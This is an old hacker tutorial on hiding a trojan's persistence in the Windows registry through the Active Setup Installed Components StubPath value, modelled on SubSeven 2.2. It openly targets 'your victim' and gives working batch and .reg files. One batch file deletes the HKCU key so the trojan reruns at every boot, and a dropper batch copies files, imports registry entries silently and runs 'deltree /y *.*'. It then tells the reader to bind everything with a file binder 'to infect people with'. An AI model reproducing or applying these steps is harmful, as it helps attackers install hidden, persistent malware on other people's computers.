This is a tutorial explaining the activex startup method used in
subseven 2.2 and how to implement it for any program to run at
startup.Thanks.

 headputty
--------------------------------------------------------------------------------

                                  THIS IS A TUTORIAL ON THE   
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components STARTUP 
METHOD

The active x installed components key can be used to run programs at 
windows startup.You would prefer this to other methods like 
win.ini,system.ini or the run services key to startup programs
as it's harder to detect.(i mean trojans and other progs)
                         Even if your victim is not to knowledgeable on 
this matter,he just has to use msconfig.exe(in win98) or other 
softwares that show registry entries in the run services key and your entry(i 
mean the entry that your trojan file adds) to this key can be removed 
easily.
                          I think this method was first used in 
subseven 2.2,it's my favourite.If for some reason you want to use a trojan 
server that does not support this metod ,read on.

Info on this method-
A key has to be created in HKEY_LOCAL_MACHINE\Software\Microsoft\Active 
Setup\Installed Components\key-----(key stands for any keyname of your 
choice. (iron maiden,i will use this as an example) .so I would have to 
create this path-
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed 
Components\ironmaiden
the name of the key should be "stubpath" and the value should be the 
path of your file.

example-

HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed 
Components\ironmaiden]
"StubPath"="c:\rev.exe"
(i will come back to this a little later)

You can try this on your pc with some friendly program ,so that u know 
what's goin on.
click on start
run
regedit
go to HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed 
Components
create a new key
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed 
Components\ironmaiden
add a new string value
rename the name to stubpath and put the value as the path of your 
program
ex "name -StubPath  value-c:\rev.exe
restart your pc

you'l find your program run at startup.Now go to 
HKEY_current_user\software\Microsoft\Active Setup\Installed Components ,you'l find a new key 
created with the keyname u chose(here ironmaiden).this key is created 
everytime a new key is created in 
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components  Now delete this key and restart your 
pc.You'l find your program running again.
                                         So you would have figured out 
that your program starts up as long as the entry in 
HKEY_current_user\oftware\Microsoft\Active Setup\Installed Components
is not present.The trick here is to delete this key everytime your 
program runs ,so that it runs on next startup.I think in subseven 2.2, the 
server renames the key in hklm each time.(corect me if iam wrong here).
                   
Now here's what u need-
1)a file binder(sennaspy one exe maker(kicks ass,has a lot of options 
like copy to some dir,can hide execution) 
http://www.megasecurity.org/Binders/Files/Ssoem2.0a.zip)
2)a command line registry manipulation tool(dtreg.exe is what i use, 
download it from http://www.tamedos.com/downloads)
3)your trojan file

1st step
choose a directory where you want your file to run from.i will suggest 
c:\windows\system\directx as an example(u should change it to something 
else).This is just to make the file harder to detect.

2nd step
use a binder like sennaspy or juntador to bind your server file to a 
bat file.
to create the bat file 
open notepad
copy the following lines
//
cd system
cd directx
dtreg -deletekey "\hkcu\software\microsoft\active setup\installed 
components\ironmaiden" 
//(without //)
save the file as something.bat

bind your file with something.bat file(in the same order,so that ur 
file is executed before something.bat).supress the output screen of 
something.bat by using the hide mode in sennaspy one exe maker.
this is your modified server that will startup each time.reName it as 
dxsetup.exe or something.
                           
3rd step
open notepad 
copy these lines
//

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed 
Components\ironmaiden]
"StubPath"="c:\\windows\\system\\directx\\dxsetup.exe"

//(don't include //)
save it as dd.reg

create this bat file
//
cd temp
copy dxsetup.exe c:\windows\system\directx
copy dtreg.exe c:\windows\system\directx
regedit /s dd.reg
deltree /y *.*
//
save it as a bat file

now use your binder to bind the trojan file u created in step 
2,dtreg.exe,the reg file dd.reg and the bat file u created above(in order 
given).set the files extract to c:\windows\temp.disable running of these 
programs.u just have to copy then to c:\windows\temp.the bound file is the 
file u got to infect people with.

iam sure there are other ways of doing this.please inform me if u know 
some better way.
this is my first tutorial.Send me your suggestions at 
headputty@ziplip.com

HeAdpUtTy